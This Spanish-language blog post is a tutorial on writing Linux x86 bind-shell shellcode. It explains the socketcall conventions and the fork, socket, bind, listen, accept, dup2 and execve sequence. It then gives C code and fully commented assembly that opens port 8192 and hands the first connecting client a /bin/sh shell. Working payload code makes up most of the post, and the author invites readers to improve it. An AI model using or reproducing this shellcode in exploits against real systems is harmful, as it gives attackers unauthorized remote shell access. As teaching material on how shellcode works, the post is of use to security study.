/* Variable definitions ==================== */ /* Use this with templates/template-twocol.html */ -->

Chat-Kasper MH

Enlazar un puerto con una shell usando sockets

Posted by kasp3r11 13:30, under |

Pues bien, esta es una shellcode que enlaza un puerto con una shell como muy
bien dice el titulo de este apartado (vease 3 lineas para arriba ;) ). La
verdad es que no tiene ningun misterio, simplemente hay que saber un par de
cosas a la hora de usar sockets..

+ El codigo de la syscall siempre sera 0x66 y se coloca en %eax
+ En %ebx se coloca el codigo de la subrutina, que puede mirarse en
  /usr/include/linux/net.h.
+ En %ecx se coloca la direccion de la lista de argumentos. Este caso en
  un tanto especial ya que la lista no tiene que estar terminada por un nulo,
  sino que se encarga el sistema de saber cuantos argumentos necesita cada
  syscall.
+ La estructura sockaddr_in se consigue copiando los valores de cada elemento
  en en forma de media palabra (2 bytes).
+ La syscall definitiva se ejecuta con int $0x80 (esto tampoco cambia).

La manera de enlazar el puerto con la scode se consigue ejecutando una serie
de syscall's consecutivamente:

     +--------------------------------------------------------+
     |                                                        |
     | fork() -> exit() proceso padre -> socket() -> bind()  |
     |        -> listen() -> accept() -> dup2() -> execve()  |
     |                                                        |
     +--------------------------------------------------------+

Asi, resumido brevemente, seria crear un proceso con fork, crear un socket
con idem, enlazar el socket con bind, ponerlo a la escucha con listen,
aceptar 'una' conexion con accept, redireccionar las entradas/salidas con
dup2 hacia el socket, y ejecutar una shell. Es importante recalcar que el
codigo no vuelve a ejecutar accept() una y otra vez con un bucle, sino que en
cuanto se establezca una conexion con el puerto en cuestion y se termine la
comunicacion, el proceso desaparecera y no se podra volver a conectar.
El codigo en C mas sencillo para hacer esto seria mas o
menos el siguiente:

<-- codigo C -->
int soc_local,soc_remoto; // declarar los sockets
struct sockaddr_in addr_l; // declarar la estructura sockaddr_in
soc_local=socket(2,1,0); // crear el socket
addr_l.sin_family = 2;  // family = AF_INET
addr_l.sin_port = 0x20;  // puerto 0x2000 = 8192
addr_l.sin_addr.s_addr = 0; // s_addr = INADDR_ANY
bind(soc_local,(struct sockaddr *) &addr_l, 0x10);  // enlazar el socket
listen(soc_local,1);  // poner el socket a la escucha
soc_remoto=accept(soc_local,0, 0);  // aceptar conexion
dup2(soc_remoto,0); 
dup2(soc_remoto,1);  //  duplicar descriptores
dup2(soc_remoto,2); 
execl("/bin/sh","sh",0); //  ejecutar /bin/sh
<-- fin codigo C -->

El codigo en asm seria el siguiente (el codigo esta sin optimizar,
seguramente sobraran unos 50 bytes..):

<-- codigo -->
__asm__("
decl %esp   // decrementa %esp
decl %esp   // decrementa %esp
decl %esp   // decrementa %esp
decl %esp   // decrementa %esp
popl %edi   // copia la dire de retorno de la funcion
    // anterior en %edi (dicha direccion siempre
    // estara en %esp-4 sino se toco nada de la
    // pila despues del ret).
movl %edi,%esp   // copia %edi a %esp, esto se hace para
    // poder hacer push's a saco sin preocupar-
    // nos de sobreescribir la shellcode, ya
    // que %esp siempre apuntara 'por encima'
    // de la shellcode.
// fork
xorl %eax,%eax   // pone %eax a 0
movl %eax,%ebx   // copia %eax a %ebx, %ebx=0
movb $0x2,%al   // %eax=0x2 (fork)
int  $0x80   // ejecuta el fork()
cmpl %eax,%ebx   // compara si %eax es 0
je   0x5   // si %eax=0 salta el exit() que viene a
    // continuacion
// exit
leal 0x1(%ebx),%eax  // pone %eax a 0x1 (exit)
int  $0x80   // ejecuta exit() (proceso padre)
// socket
xorl %edx,%edx   // pone %edx a 0
movl %edx,0x8(%edi)  // copia un long null a la dire %edi+8
incl %edx   // %edx=1
movl %edx,0x4(%edi)  // copia 0x00000001 a la dire %edi+4
incl %edx   // %edx=2
movl %edx,(%edi)  // copia 0x00000002 a la dire %edi
movl %edi,%ecx   // copia %edi a %ecx
xorl %ebx,%ebx   // pone %ebx a 0
incl %ebx   // pone %ebx a 1 (socket)
leal 0x65(%ebx),%eax  // pone %eax a 0x66
int  $0x80   // ejecuta socket(2,1,0)
// bind
movl %eax,%esi   // copia 'soc_local' en %esi
xorl %edx,%edx   // pone %edx a 0
movl %edx,(%edi)  // copia un long null a la dire %edi
movb $0x2,(%edi)  // pone 0x0002 en la dire %edi (1 hword)
movb $0x20,0x2(%edi)  // pone 0x20 en la dire %edi+2
movl %edx,0x4(%edi)  // copia un long null a la dire %edi+4
movl %esi,0x8(%edi)  // copia 'soc_local' a la dire %edi+8
movl %edi,0xc(%edi)  // copia la dire de sockaddr_in a %edi+0xc
movl %edx,0x10(%edi)  // copia un long null a la dire %edi+0x10
movb $0x10,0x10(%edi)  // pone en la dire %edi+0x10 0x00000010
    // Con esto estamos declarando la lista de
    // argumentos de bind(). La direccion de
    // dicha lista se copiara a %ecx.
leal 0x66(%edx),%eax  // pone %eax=0x66
leal 0x2(%edx),%ebx  // %ebx=2 (bind)
leal 0x8(%edi),%ecx  // carga la dire de sockaddr_in en %ecx
int  $0x80   // ejecuta bind()
// listen
movl %esi,(%edi)  // copia 'soc_local' a la dire %edi
movl %edx,0x4(%edi)  // long null a la dire %edi+4
movb $0x1,0x4(%edi)  // 0x00000001 en la dire %edi+4
leal 0x66(%edx),%eax  // carga 0x66 en %eax
leal 0x4(%edx),%ebx  // %ebx = 4 (listen)
movl %edi,%ecx   // lista de argumentos en %ecx
int  $0x80   // ejecuta listen()
// accept
movl %edx,0x4(%edi)  // long null a la dire %edi+4
movl %edx,0x8(%edi)  // long null a la dire %edi+8
    // en la dire %edi sigue estando soc_local
leal 0x66(%edx),%eax  // %eax=0x66
leal 0x5(%edx),%ebx  // %ebx = 5 (accept)
int  $0x80   // ejecuta accept()
// dup2
movl %eax,%ebx   // copia 'soc_remoto' a %ebx
xorl %ecx,%ecx   // %ecx = 0
leal 0x3f(%edx),%eax  // %eax = 0x3f (dup2)
int  $0x80   // ejecuta dup2(soc_remoto,0)
leal 0x3f(%edx),%eax         // %eax = 0x3f (dup2)
incl %ecx   // incrementa en 1 %ecx
int  $0x80   // ejecuta dup2(soc_remoto,1)
leal 0x3f(%edx),%eax  // %eax = 0x3f (dup2)
incl %ecx   // incrementa en 1 %ecx
int  $0x80   // ejecuta dup2(soc_remoto,2)
// execve
xorl  %edx,%edx   // %edx=0
pushl %edx   // long null a la pila
pushl $0x68732f6e  //
pushl $0x69622f2f  // coloca el string /bin/sh seguido del
    // nulo q pusimos antes (pushl %edx) en
    // la pila.
movl  %esp,%ebx   // carga la dire del string en %ebx
pushl %edx   // long null a la pila
pushl %ebx   // dire del string a la pila
movl  %esp,%ecx   // carga la dire de los args en %ecx
leal  0xb(%edx),%eax  // %eax=0xb
int   $0x80                     // ejecuta execve()
");
<-- fin codigo -->

Una vez que se ejecute abrira un puerto (segun esta configurada el 8192) y
aceptara UNA conexion, despues se cerrara el puerto y adios muy buenas.. Si
quieres mejorar esta shellcode no dudes en mandarme un mail ;).

Tags

Labels

Blog Archive

Blog Archive